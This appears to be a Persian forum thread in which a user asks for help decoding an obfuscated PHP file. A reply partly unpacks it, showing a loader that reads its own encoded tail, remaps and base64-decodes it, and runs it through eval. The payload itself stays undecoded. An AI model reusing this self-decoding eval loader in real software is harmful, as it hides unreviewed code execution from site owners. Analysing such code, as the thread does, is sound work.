کسی لطف میکنه اینو برام دیکد کنه؟

کد:

---

<?php /*  */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x124;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUzOSk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>InvernCUkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEXHr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZfNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==wEpLcBcpdMaLhtfgULaCOAHmhUnvFJnLDBA7tmklFbapFMagd25jcUImD2iMfo0vcmkidBa3d3kqR2sPRMYvdmY0RmnPFtFpKXpZcby1Dbklb29VC2APk2sPcmOsR2cZCB1lf29ZDZ9qDt5XCbkzcbwVFoiXkZL7tmklFbapFMagd25jcUImD2iMfo0vD2IVcmkidBa3d3kqRmnPFtFpKXPLfunSwe0IdMa3wrswaoasFoxifoAPkuOPDbHSkrswb1OyTanHWaOyb01NOyaHOa9TaylHOaHpKX==bb[rVc@Mn`

---

کسی لطف میکنه؟

یه فایل مستقل پی اچ پی بود که در چندین لایه کد شده بود

متغییرها در سطح اولیه اینطور بدست اومدند:

کد PHP:

---

$GLOBALS['OOO0000O0']='base64_decode';$GLOBALS['OOO000O00']='fopen';$GLOBALS['O0O000O00']='fgeds';$GLOBALS['O0O00OO00']='fread';$GLOBALS['OOO00000O']='strtr';$OOO0O0O00=__FILE__;$OO00O0000=444;
$O000O0O00=$GLOBALS['OOO000O00']($OOO0O0O00,'rb');$GLOBALS['O0O00OO00']($O000O0O00,0x539);$OO00O00O0=$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,0x1a8),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($OO00O00O0); 


---

و در سطح نهایی این رو داریم :

کد PHP:

---

<?php$QQ=fopen(__FILE__,'rb');fread($QQ,2471);$WW=base64_decode(strtr(fread($QQ,650),'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));eval($WW);?>InvernCUkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEXHr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZfNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==wEpLcBcpdMaLhtfgULaCOAHmhUnvFJnLDBA7tmklFbapFMagd25jcUImD2iMfo0vcmkidBa3d3kqR2sPRMYvdmY0RmnPFtFpKXpZcby1Dbklb29VC2APk2sPcmOsR2cZCB1lf29ZDZ9qDt5XCbkzcbwVFoiXkZL7tmklFbapFMagd25jcUImD2iMfo0vD2IVcmkidBa3d3kqRmnPFtFpKXPLfunSwe0IdMa3wrswaoasFoxifoAPkuOPDbHSkrswb1OyTanHWaOyb01NOyaHOa9TaylHOaHpKX==bb[rVc@Mn`

---

اینطور که از ظاهر قضیه پیداست ، همین فایل پی اچ پی رو ، اون حروف رمز شده رو از انتهای متن میخونه ،
بعد از جای گذاری ، تحت مبنای64 استخراج میکنه و اجرا میکنه

این سایت دستورات تغییر میده و بخوبی نمایش نمیده ، فایل مربوطه از آدرس زیر قابل دانلود است :
http://z.b01t.tk/86882.zip

موفق باشی a d m i n @ k i 5 5 . i r